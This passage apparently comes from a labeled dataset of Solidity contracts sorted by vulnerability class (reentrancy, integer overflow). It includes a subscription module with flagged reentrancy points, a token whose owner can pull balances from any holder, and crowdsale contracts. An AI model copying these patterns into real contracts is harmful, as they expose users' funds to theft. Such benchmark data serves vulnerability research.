time. /// This function can be used by service provider to `give away` some service time for free. ///@param subId - id of subscription to be postponed. ///@param newDueDate - new `paidUntil` datetime; require `newDueDate > paidUntil`. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function postponeDueDate(uint subId, uint newDueDate) public returns (bool success){ Subscription storage sub = subscriptions[subId]; assert (_isSubscription(sub)); assert (sub.transferTo == msg.sender); //only Service Provider is allowed to postpone the DueDate if (sub.paidUntil < newDueDate) { sub.paidUntil = newDueDate; return true; } else if (isContract(msg.sender)) { return false; } else { throw; } } ///@dev return current status as a name of a subscription (or an offer) with given id; function state(uint subOrOfferId) public constant returns(string state) { Subscription subOrOffer = subscriptions[subOrOfferId]; return _isOffer(subOrOffer) ? OFFER_STATES[uint(_offerState(subOrOffer))] : SUB_STATES[uint(_subscriptionState(subOrOffer))]; } ///@dev return current status as a code of a subscription (or an offer) with given id; function stateCode(uint subOrOfferId) public constant returns(uint stateCode) { Subscription subOrOffer = subscriptions[subOrOfferId]; return _isOffer(subOrOffer) ? uint(_offerState(subOrOffer)) : uint(_subscriptionState(subOrOffer)); } function _offerState(Subscription storage sub) internal constant returns(OfferState status) { if (!_isOffer(sub)) { return OfferState.NOT_EXIST; } else if (sub.startOn > now) { return OfferState.BEFORE_START; } else if (sub.onHoldSince > 0) { return OfferState.ON_HOLD; } else if (now <= sub.expireOn) { return sub.execCounter > 0 ? OfferState.ACTIVE : OfferState.SOLD_OUT; } else { return OfferState.EXPIRED; } } function _subscriptionState(Subscription storage sub) internal constant returns(SubState status) { if (!_isSubscription(sub)) { return SubState.NOT_EXIST; } else if (sub.startOn > now) { return SubState.BEFORE_START; } else if (sub.onHoldSince > 0) { return SubState.ON_HOLD; } else if (sub.paidUntil >= sub.expireOn) { return now < sub.expireOn ? SubState.CANCELED : sub.depositAmount > 0 ? SubState.EXPIRED : SubState.FINALIZED; } else if (sub.paidUntil <= now) { return SubState.CHARGEABLE; } else { return SubState.PAID; } } ///@notice create a new subscription offer. ///@dev only registered service provider is allowed to create offers. ///@dev subscription uses SAN token for payment, but an exact amount to be paid or deposit is calculated using exchange rate from external xrateProvider (previosly registered on platform). /// This allows to create a subscription bound to another token or even fiat currency. ///@param _pricePerHour - subscription price per hour in SAN ///@param _xrateProviderId - id of external exchange rate provider from subscription currency to SAN; ""0"" means subscription is priced in SAN natively. ///@param _chargePeriod - time period to charge; subscription can't be charged more often than this period. Time units are native ethereum time, returning by `now`, i.e. seconds. ///@param _expireOn - offer can't be accepted after this time. ///@param _offerLimit - how many subscription are available to created from this offer; there is no magic number for unlimited offer -- use big number instead. ///@param _depositAmount - upfront deposit required for creating a subscription; this deposit becomes fully returned on subscription is over. /// currently this deposit is not subject of platform fees and will be refunded in full. Next versions of this module can use deposit in case of outstanding payments. ///@param _startOn - a subscription from this offer can't be created before this time. Time units are native ethereum time, returning by `now`, i.e. seconds. ///@param _descriptor - arbitrary bytes as an offer descriptor. This descriptor is copied into subscription and then service provider becomes it passed in notifications. // function createSubscriptionOffer(uint _pricePerHour, uint16 _xrateProviderId, uint _chargePeriod, uint _expireOn, uint _offerLimit, uint _depositAmount, uint _startOn, bytes _descriptor) public noReentrancy(L01) onlyRegisteredProvider returns (uint subId) { assert (_startOn < _expireOn); assert (_chargePeriod <= 10 years); //sanity check var (_xrate_n, _xrate_d) = _xrateProviderId == 0 ? (1,1) : XRateProvider(xrateProviders[_xrateProviderId]).getRate(); // <=== possible reentrancy assert (_xrate_n > 0 && _xrate_d > 0); subscriptions[++subscriptionCounter] = Subscription ({ transferFrom : 0, // empty transferFrom field means we have an offer, not a subscription transferTo : msg.sender, // service provider is a beneficiary of subscripton payments pricePerHour : _pricePerHour, // price per hour in SAN (recalculated from base currency if needed) xrateProviderId : _xrateProviderId, // id of registered exchange rate provider or zero if an offer is nominated in SAN. initialXrate_n : _xrate_n, // fraction nominator of the initial exchange rate initialXrate_d : _xrate_d, // fraction denominator of the initial exchange rate paidUntil : 0, // service is considered to be paid until this time; no charge is possible while subscription is paid for now. chargePeriod : _chargePeriod, // period in seconds (ethereum block time unit) to charge. depositAmount : _depositAmount, // deposit required for subscription accept. startOn : _startOn, expireOn : _expireOn, execCounter : _offerLimit, descriptor : _descriptor, onHoldSince : 0 // offer is not on hold by default. }); return subscriptionCounter; // returns an id of the new offer. } ///@notice updates currently available number of subscription for this offer. /// Other offer's parameter can't be updated because they are considered to be a public offer reviewed by customers. /// The service provider should recreate the offer as a new one in case of other changes. // function updateSubscriptionOffer(uint _offerId, uint _offerLimit) public { Subscription storage offer = subscriptions[_offerId]; assert (_isOffer(offer)); assert (offer.transferTo == msg.sender); //only Provider is allowed to update the offer. offer.execCounter = _offerLimit; } ///@notice accept given offer and create a new subscription on the base of it. /// ///@dev the service provider (offer.`transferTo`) becomes notified about new subscription by call `onSubNew(newSubId, _offerId)`. /// It is provider's responsibility to retrieve and store any necessary information about offer and this new subscription. Some of info is only available at this point. /// The Service Provider can also reject the new subscription by throwing an exception or returning `false` from `onSubNew(newSubId, _offerId)` event handler. ///@param _offerId - id of the offer to be accepted ///@param _expireOn - subscription expiration time; no charges are possible behind this time. ///@param _startOn - subscription start time; no charges are possible before this time. /// If the `_startOn` is in the past or is zero, it means start the subscription ASAP. // function createSubscription(uint _offerId, uint _expireOn, uint _startOn) public noReentrancy(L02) returns (uint newSubId) { assert (_startOn < _expireOn); Subscription storage offer = subscriptions[_offerId]; assert (_isOffer(offer)); assert (offer.startOn == 0 || offer.startOn <= now); assert (offer.expireOn == 0 || offer.expireOn >= now); assert (offer.onHoldSince == 0); assert (offer.execCounter > 0); --offer.execCounter; newSubId = ++subscriptionCounter; //create a clone of the offer... Subscription storage newSub = subscriptions[newSubId] = offer; //... and adjust some fields specific to subscription newSub.transferFrom = msg.sender; newSub.execCounter = 0; newSub.paidUntil = newSub.startOn = max(_startOn, now); //no debts before actual creation time! newSub.expireOn = _expireOn; newSub.depositAmount = _applyXchangeRate(newSub.depositAmount, newSub); // <=== possible reentrancy //depositAmount is now stored in the sub, so burn the same amount from customer's account. assert (san._burnForDeposit(msg.sender, newSub.depositAmount)); assert (ServiceProvider(newSub.transferTo).onSubNew(newSubId, _offerId)); // <=== possible reentrancy; service provider can still reject the new subscription here NewSubscription(newSub.transferFrom, newSub.transferTo, _offerId, newSubId); return newSubId; } ///@notice cancel an offer given by `offerId`. ///@dev sets offer.`expireOn` to `expireOn`. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function cancelSubscriptionOffer(uint offerId) public returns (bool) { Subscription storage offer = subscriptions[offerId]; assert (_isOffer(offer)); assert (offer.transferTo == msg.sender || owner == msg.sender); //only service provider or platform owner is allowed to cancel the offer if (offer.expireOn>now){ offer.expireOn = now; OfferCanceled(offerId, msg.sender); return true; } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice cancel an subscription given by `subId` (a graceful version). ///@notice IMPORTANT: a malicious service provider can consume all gas and preventing subscription from cancellation. /// If so, use `cancelSubscription(uint subId, uint gasReserve)` as the forced version. /// see `cancelSubscription(uint subId, uint gasReserve)` for more documentation. // function cancelSubscription(uint subId) public { return cancelSubscription(subId, 0); } ///@notice cancel an subscription given by `subId` (a forced version). /// Cancellation means no further charges to this subscription are possible. The provided subscription deposit can be withdrawn only `paidUntil` period is over. /// Depending on nature of the service provided, the service provider can allow an immediate deposit withdrawal by `returnSubscriptionDesposit(uint subId)` call, but its on his own. /// In some business cases a deposit must remain locked until `paidUntil` period is over even, the subscription is already canceled. ///@notice gasReserve is a gas amount reserved for contract execution AFTER service provider becomes `onSubCanceled(uint256,address)` notification. /// It guarantees, that cancellation becomes executed even a (malicious) service provider consumes all gas provided. /// If so, use `cancelSubscription(uint subId, uint gasReserve)` as the forced version. /// This difference is because the customer must always have a possibility to cancel his contract even the service provider disagree on cancellation. ///@param subId - subscription to be cancelled ///@param gasReserve - gas reserved for call finalization (minimum reservation is 10000 gas) // function cancelSubscription(uint subId, uint gasReserve) public noReentrancy(L03) { Subscription storage sub = subscriptions[subId]; assert (sub.transferFrom == msg.sender || owner == msg.sender); //only subscription owner or platform owner is allowed to cancel it assert (_isSubscription(sub)); var _to = sub.transferTo; sub.expireOn = max(now, sub.paidUntil); if (msg.sender != _to) { //supress re-throwing of exceptions; reserve enough gas to finish this function gasReserve = max(gasReserve,10000); //reserve minimum 10000 gas assert (msg.gas > gasReserve); //sanity check if (_to.call.gas(msg.gas-gasReserve)(bytes4(sha3(""onSubCanceled(uint256,address)"")), subId, msg.sender)) { // <=== possible reentrancy //do nothing. it is notification only. //Later: is it possible to evaluate return value here? If is better to return the subscription deposit here. } } SubCanceled(subId, msg.sender); } ///@notice place an active offer on hold; it means no subscriptions can be created from this offer. /// Only service provider (or platform owner) is allowed to hold/unhold a subscription offer. ///@param offerId - id of the offer to be placed on hold. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function holdSubscriptionOffer(uint offerId) public returns (bool success) { Subscription storage offer = subscriptions[offerId]; assert (_isOffer(offer)); require (msg.sender == offer.transferTo || msg.sender == owner); //only owner or service provider can place the offer on hold. if (offer.onHoldSince == 0) { offer.onHoldSince = now; OfferOnHold(offerId, true, msg.sender); return true; } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice resume on-hold offer; subscriptions can be created from this offer again (if other conditions are met). /// Only service provider (or platform owner) is allowed to hold/unhold a subscription offer. ///@param offerId - id of the offer to be resumed. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function unholdSubscriptionOffer(uint offerId) public returns (bool success) { Subscription storage offer = subscriptions[offerId]; assert (_isOffer(offer)); require (msg.sender == offer.transferTo || msg.sender == owner); //only owner or service provider can reactivate the offer. if (offer.onHoldSince > 0) { offer.onHoldSince = 0; OfferOnHold(offerId, false, msg.sender); return true; } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice called by customer or service provider to place a subscription on hold. /// If call is originated by customer the service provider can reject the request. /// A subscription on hold will not be charged. The service is usually not provided as well. /// During hold time a subscription preserve remaining paid time period, which becomes available after unhold. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function holdSubscription(uint subId) public noReentrancy(L04) returns (bool success) { Subscription storage sub = subscriptions[subId]; assert (_isSubscription(sub)); var _to = sub.transferTo; require (msg.sender == _to || msg.sender == sub.transferFrom); //only customer or provider can place the subscription on hold. if (sub.onHoldSince == 0) { if (msg.sender == _to || ServiceProvider(_to).onSubUnHold(subId, msg.sender, true)) { // <=== possible reentrancy sub.onHoldSince = now; SubOnHold(subId, true, msg.sender); return true; } } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice called by customer or service provider to unhold subscription. /// If call is originated by customer the service provider can reject the request. /// A subscription on hold will not be charged. The service is usually not provided as well. /// During hold time a subscription preserve remaining paid time period, which becomes available after unhold. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function unholdSubscription(uint subId) public noReentrancy(L05) returns (bool success) { Subscription storage sub = subscriptions[subId]; assert (_isSubscription(sub)); var _to = sub.transferTo; require (msg.sender == _to || msg.sender == sub.transferFrom); //only customer or provider can place the subscription on hold. if (sub.onHoldSince > 0) { if (msg.sender == _to || ServiceProvider(_to).onSubUnHold(subId, msg.sender, false)) { // <=== possible reentrancy sub.paidUntil += now - sub.onHoldSince; sub.onHoldSince = 0; SubOnHold(subId, false, msg.sender); return true; } } if (isContract(msg.sender)) { return false; } else { throw; } } // ************************************************* // * deposit handling * // ************************************************* ///@notice can be called by provider on CANCELED subscription to return a subscription deposit to customer immediately. /// Customer can anyway collect his deposit after `paidUntil` period is over. ///@param subId - subscription holding the deposit // function returnSubscriptionDesposit(uint subId) public { Subscription storage sub = subscriptions[subId]; assert (_subscriptionState(sub) == SubState.CANCELED); assert (sub.depositAmount > 0); //sanity check assert (sub.transferTo == msg.sender || owner == msg.sender); //only subscription owner or platform owner is allowed to release deposit. sub.expireOn = now; _returnSubscriptionDesposit(subId, sub); } ///@notice called by customer on EXPIRED subscription (`paidUntil` period is over) to collect a subscription deposit. /// Customer can anyway collect his deposit after `paidUntil` period is over. ///@param subId - subscription holding the deposit // function claimSubscriptionDeposit(uint subId) public { Subscription storage sub = subscriptions[subId]; assert (_subscriptionState(sub) == SubState.EXPIRED); assert (sub.transferFrom == msg.sender); assert (sub.depositAmount > 0); _returnSubscriptionDesposit(subId, sub); } //@dev returns subscription deposit to customer function _returnSubscriptionDesposit(uint subId, Subscription storage sub) internal { uint depositAmount = sub.depositAmount; sub.depositAmount = 0; san._mintFromDeposit(sub.transferFrom, depositAmount); SubscriptionDepositReturned(subId, depositAmount, sub.transferFrom, msg.sender); } ///@notice create simple unlocked deposit, required by some services. It can be considered as prove of customer's stake. /// This desposit can be claimed back by the customer at anytime. /// The service provider is responsible to check the deposit before providing the service. ///@param _value - non zero deposit amount. ///@param _descriptor - is a uniq key, usually given by service provider to the customer in order to make this deposit unique. /// Service Provider should reject deposit with unknown descriptor, because most probably it is in use for some another service. ///@return depositId - a handle to claim back the deposit later. // function createDeposit(uint _value, bytes _descriptor) public returns (uint depositId) { require (_value > 0); assert (san._burnForDeposit(msg.sender,_value)); deposits[++depositCounter] = Deposit ({ owner : msg.sender, value : _value, descriptor : _descriptor }); NewDeposit(depositCounter, _value, msg.sender); return depositCounter; } ///@notice return previously created deposit to the user. User can collect only own deposit. /// The service provider is responsible to check the deposit before providing the service. ///@param _depositId - an id of the deposit to be collected. // function claimDeposit(uint _depositId) public { var deposit = deposits[_depositId]; require (deposit.owner == msg.sender); var value = deposits[_depositId].value; delete deposits[_depositId]; san._mintFromDeposit(msg.sender, value); DepositReturned(_depositId, msg.sender); } // ************************************************* // * some internal functions * // ************************************************* function _amountToCharge(Subscription storage sub) internal reentrant returns (uint) { return _applyXchangeRate(sub.pricePerHour * sub.chargePeriod, sub) / 1 hours; // <==== reentrant function usage } function _applyXchangeRate(uint amount, Subscription storage sub) internal reentrant returns (uint) { // <== actually called from reentrancy guarded context only (i.e. externally secured) if (sub.xrateProviderId > 0) { // xrate_n: nominator // xrate_d: denominator of the exchange rate fraction. var (xrate_n, xrate_d) = XRateProvider(xrateProviders[sub.xrateProviderId]).getRate(); // <=== possible reentrancy amount = amount * sub.initialXrate_n * xrate_d / sub.initialXrate_d / xrate_n; } return amount; } function _isOffer(Subscription storage sub) internal constant returns (bool){ return sub.transferFrom == 0 && sub.transferTo != 0; } function _isSubscription(Subscription storage sub) internal constant returns (bool){ return sub.transferFrom != 0 && sub.transferTo != 0; } function _exists(Subscription storage sub) internal constant returns (bool){ return sub.transferTo != 0; //existing subscription or offer has always transferTo set. } modifier onlyRegisteredProvider(){ if (!providerRegistry[msg.sender]) throw; _; } } //SubscriptionModuleImpl",./Dataset/reentrancy (RE)/,5,5 1730.sol,"pragma solidity 0.4.24; contract Ownership { address public _owner; modifier onlyOwner() { require(msg.sender == _owner); _; } modifier validDestination( address to ) { require(to != address(0x0)); _; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0){return 0;} c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } contract BasicToken { function totalSupply() public view returns (uint256); function balanceOf(address owner) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract MAJz is BasicToken, Ownership { using SafeMath for uint256; string public _symbol; string public _name; uint256 public _decimals; uint256 public _totalSupply; mapping(address => uint256) public _balances; constructor() public{ _symbol = ""MAZ""; _name = ""MAJz""; _decimals = 18; _totalSupply = 560000000000000000000000000; _balances[msg.sender] = _totalSupply; _owner = msg.sender; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address targetAddress) public view returns (uint256) { return _balances[targetAddress]; } function transfer(address targetAddress, uint256 value) validDestination(targetAddress) public returns (bool) { _balances[msg.sender] = SafeMath.sub(_balances[msg.sender], value); _balances[targetAddress] = SafeMath.add(_balances[targetAddress], value); emit Transfer(msg.sender, targetAddress, value); return true; } function burnTokens(uint256 value) public onlyOwner returns (bool){ _balances[_owner] = SafeMath.sub(_balances[_owner], value); _totalSupply = SafeMath.sub(_totalSupply, value); emit BurnTokens(value); return true; } function emitTokens(uint256 value) public onlyOwner returns (bool){ _balances[_owner] = SafeMath.add(_balances[_owner], value); _totalSupply = SafeMath.add(_totalSupply, value); emit EmitTokens(value); return true; } function revertTransfer (address targetAddress, uint256 value) public onlyOwner returns (bool){ _balances[targetAddress] = SafeMath.sub(_balances[targetAddress], value); _balances[_owner] = SafeMath.add(_balances[_owner], value); emit RevertTransfer(targetAddress, value); return true; } event BurnTokens(uint256 value); event EmitTokens(uint256 value); event RevertTransfer(address targetAddress, uint256 value); }",./Dataset/integer overflow (OF)/,4,4 8305.sol,"pragma solidity ^0.4.19; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GigERC20 is StandardToken, Ownable { uint256 public creationBlock; uint8 public decimals; string public name; string public symbol; string public standard; bool public locked; function GigERC20( uint256 _totalSupply, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transferAllSupplyToOwner, bool _locked ) public { standard = 'ERC20 0.1'; locked = _locked; totalSupply_ = _totalSupply; if (_transferAllSupplyToOwner) { balances[msg.sender] = totalSupply_; } else { balances[this] = totalSupply_; } name = _tokenName; symbol = _tokenSymbol; decimals = _decimalUnits; creationBlock = block.number; } function setLocked(bool _locked) public onlyOwner { locked = _locked; } function transfer(address _to, uint256 _value) public returns (bool) { require(locked == false); return super.transfer(_to, _value); } function approve(address _spender, uint256 _value) public returns (bool success) { if (locked) { return false; } return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { if (locked) { return false; } return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { if (locked) { return false; } return super.decreaseApproval(_spender, _subtractedValue); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (locked) { return false; } return super.transferFrom(_from, _to, _value); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract MintingERC20 is GigERC20 { using SafeMath for uint256; mapping (address => bool) public minters; uint256 public maxSupply; modifier onlyMinters () { require(true == minters[msg.sender]); _; } function MintingERC20( uint256 _initialSupply, uint256 _maxSupply, string _tokenName, uint8 _decimals, string _symbol, bool _transferAllSupplyToOwner, bool _locked ) public GigERC20(_initialSupply, _tokenName, _decimals, _symbol, _transferAllSupplyToOwner, _locked) { standard = 'MintingERC20 0.1'; minters[msg.sender] = true; maxSupply = _maxSupply; } function addMinter(address _newMinter) public onlyOwner { minters[_newMinter] = true; } function removeMinter(address _minter) public onlyOwner { minters[_minter] = false; } function mint(address _addr, uint256 _amount) public onlyMinters returns (uint256) { if (true == locked) { return uint256(0); } if (_amount == uint256(0)) { return uint256(0); } if (totalSupply_.add(_amount) > maxSupply) { return uint256(0); } totalSupply_ = totalSupply_.add(_amount); balances[_addr] = balances[_addr].add(_amount); Transfer(address(0), _addr, _amount); return _amount; } } contract GigToken is MintingERC20 { SellableToken public crowdSale; SellableToken public privateSale; bool public transferFrozen = false; uint256 public crowdSaleEndTime; mapping(address => uint256) public lockedBalancesReleasedAfterOneYear; modifier onlyCrowdSale() { require(crowdSale != address(0) && msg.sender == address(crowdSale)); _; } modifier onlySales() { require((privateSale != address(0) && msg.sender == address(privateSale)) || (crowdSale != address(0) && msg.sender == address(crowdSale))); _; } event MaxSupplyBurned(uint256 burnedTokens); function GigToken(bool _locked) public MintingERC20(0, maxSupply, 'GigBit', 18, 'GBTC', false, _locked) { standard = 'GBTC 0.1'; maxSupply = uint256(1000000000).mul(uint256(10) ** decimals); } function setCrowdSale(address _crowdSale) public onlyOwner { require(_crowdSale != address(0)); crowdSale = SellableToken(_crowdSale); crowdSaleEndTime = crowdSale.endTime(); } function setPrivateSale(address _privateSale) public onlyOwner { require(_privateSale != address(0)); privateSale = SellableToken(_privateSale); } function freezing(bool _transferFrozen) public onlyOwner { transferFrozen = _transferFrozen; } function isTransferAllowed(address _from, uint256 _value) public view returns (bool status) { uint256 senderBalance = balanceOf(_from); if (transferFrozen == true || senderBalance < _value) { return false; } uint256 lockedBalance = lockedBalancesReleasedAfterOneYear[_from]; if (lockedBalance > 0 && senderBalance.sub(_value) < lockedBalance) { uint256 unlockTime = crowdSaleEndTime + 1 years; if (crowdSaleEndTime == 0 || block.timestamp < unlockTime) { return false; } uint256 secsFromUnlock = block.timestamp.sub(unlockTime); uint256 months = secsFromUnlock / 30 days; if (months > 12) { months = 12; } uint256 tokensPerMonth = lockedBalance / 12; uint256 unlockedBalance = tokensPerMonth.mul(months); uint256 actualLockedBalance = lockedBalance.sub(unlockedBalance); if (senderBalance.sub(_value) < actualLockedBalance) { return false; } } if (block.timestamp < crowdSaleEndTime && crowdSale != address(0) && crowdSale.isTransferAllowed(_from, _value) == false ) { return false; } return true; } function transfer(address _to, uint _value) public returns (bool) { require(isTransferAllowed(msg.sender, _value)); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require((crowdSaleEndTime <= block.timestamp) && isTransferAllowed(_from, _value)); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool success) { require(crowdSaleEndTime <= block.timestamp); return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { require(crowdSaleEndTime <= block.timestamp); return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { require(crowdSaleEndTime <= block.timestamp); return super.decreaseApproval(_spender, _subtractedValue); } function increaseLockedBalance(address _address, uint256 _tokens) public onlySales { lockedBalancesReleasedAfterOneYear[_address] = lockedBalancesReleasedAfterOneYear[_address].add(_tokens); } function burnInvestorTokens( address _address, uint256 _amount ) public onlyCrowdSale returns (uint256) { require(block.timestamp > crowdSaleEndTime); require(_amount <= balances[_address]); balances[_address] = balances[_address].sub(_amount); totalSupply_ = totalSupply_.sub(_amount); Transfer(_address, address(0), _amount); return _amount; } function burnUnsoldTokens(uint256 _amount) public onlyCrowdSale { require(block.timestamp > crowdSaleEndTime); maxSupply = maxSupply.sub(_amount); MaxSupplyBurned(_amount); } } contract Multivest is Ownable { using SafeMath for uint256; mapping (address => bool) public allowedMultivests; event MultivestSet(address multivest); event MultivestUnset(address multivest); event Contribution(address holder, uint256 value, uint256 tokens); modifier onlyAllowedMultivests(address _addresss) { require(allowedMultivests[_addresss] == true); _; } function Multivest() public {} function setAllowedMultivest(address _address) public onlyOwner { allowedMultivests[_address] = true; MultivestSet(_address); } function unsetAllowedMultivest(address _address) public onlyOwner { allowedMultivests[_address] = false; MultivestUnset(_address); } function multivestBuy(address _address, uint256 _value) public onlyAllowedMultivests(msg.sender) { require(buy(_address, _value) == true); } function multivestBuy( address _address, uint8 _v, bytes32 _r, bytes32 _s ) public payable onlyAllowedMultivests(verify(keccak256(msg.sender), _v, _r, _s)) { require(_address == msg.sender && buy(msg.sender, msg.value) == true); } function verify(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) { bytes memory prefix = '\x19Ethereum Signed Message:\n32'; return ecrecover(keccak256(prefix, _hash), _v, _r, _s); } function buy(address _address, uint256 _value) internal returns (bool); } contract SellableToken is Multivest { uint256 public constant MONTH_IN_SEC = 2629743; GigToken public token; uint256 public minPurchase = 100 * 10 ** 5; uint256 public maxPurchase; uint256 public softCap; uint256 public hardCap; uint256 public startTime; uint256 public endTime; uint256 public maxTokenSupply; uint256 public soldTokens; uint256 public collectedEthers; address public etherHolder; uint256 public collectedUSD; uint256 public etherPriceInUSD; uint256 public priceUpdateAt; mapping(address => uint256) public etherBalances; Tier[] public tiers; struct Tier { uint256 discount; uint256 startTime; uint256 endTime; } event Refund(address _holder, uint256 _ethers, uint256 _tokens); event NewPriceTicker(string _price); function SellableToken( address _token, address _etherHolder, uint256 _startTime, uint256 _endTime, uint256 _maxTokenSupply, uint256 _etherPriceInUSD ) public Multivest() { require(_token != address(0) && _etherHolder != address(0)); token = GigToken(_token); require(_startTime < _endTime); etherHolder = _etherHolder; require((_maxTokenSupply == uint256(0)) || (_maxTokenSupply <= token.maxSupply())); startTime = _startTime; endTime = _endTime; maxTokenSupply = _maxTokenSupply; etherPriceInUSD = _etherPriceInUSD; priceUpdateAt = block.timestamp; } function setTokenContract(address _token) public onlyOwner { require(_token != address(0)); token = GigToken(_token); } function setEtherHolder(address _etherHolder) public onlyOwner { if (_etherHolder != address(0)) { etherHolder = _etherHolder; } } function setPurchaseLimits(uint256 _min, uint256 _max) public onlyOwner { if (_min < _max) { minPurchase = _min; maxPurchase = _max; } } function mint(address _address, uint256 _tokenAmount) public onlyOwner returns (uint256) { return mintInternal(_address, _tokenAmount); } function isActive() public view returns (bool); function isTransferAllowed(address _from, uint256 _value) public view returns (bool); function withinPeriod() public view returns (bool); function getMinEthersInvestment() public view returns (uint256) { return uint256(1 ether).mul(minPurchase).div(etherPriceInUSD); } function calculateTokensAmount(uint256 _value) public view returns (uint256 tokenAmount, uint256 usdAmount); function calculateEthersAmount(uint256 _tokens) public view returns (uint256 ethers, uint256 bonus); function updatePreICOMaxTokenSupply(uint256 _amount) public; function setEtherInUSD(string _price) public onlyAllowedMultivests(msg.sender) { bytes memory bytePrice = bytes(_price); uint256 dot = bytePrice.length.sub(uint256(6)); require(0x2e == uint(bytePrice[dot])); uint256 newPrice = uint256(10 ** 23).div(parseInt(_price, 5)); require(newPrice > 0); etherPriceInUSD = parseInt(_price, 5); priceUpdateAt = block.timestamp; NewPriceTicker(_price); } function mintInternal(address _address, uint256 _tokenAmount) internal returns (uint256) { uint256 mintedAmount = token.mint(_address, _tokenAmount); require(mintedAmount == _tokenAmount); soldTokens = soldTokens.add(_tokenAmount); if (maxTokenSupply > 0) { require(maxTokenSupply >= soldTokens); } return _tokenAmount; } function transferEthers() internal; function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint res = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((bresult[i] >= 48) && (bresult[i] <= 57)) { if (decimals) { if (_b == 0) break; else _b--; } res *= 10; res += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) res *= 10 ** _b; return res; } } contract CrowdSale is SellableToken { uint256 public constant PRE_ICO_TIER_FIRST = 0; uint256 public constant PRE_ICO_TIER_LAST = 4; uint256 public constant ICO_TIER_FIRST = 5; uint256 public constant ICO_TIER_LAST = 8; SellableToken public privateSale; uint256 public price; Stats public preICOStats; mapping(address => uint256) public icoBalances; struct Stats { uint256 soldTokens; uint256 maxTokenSupply; uint256 collectedUSD; uint256 collectedEthers; bool burned; } function CrowdSale( address _token, address _etherHolder, uint256 _maxPreICOTokenSupply, uint256 _maxICOTokenSupply, uint256 _price, uint256[2] _preIcoDuration, uint256[2] _icoDuration, uint256 _etherPriceInUSD ) public SellableToken( 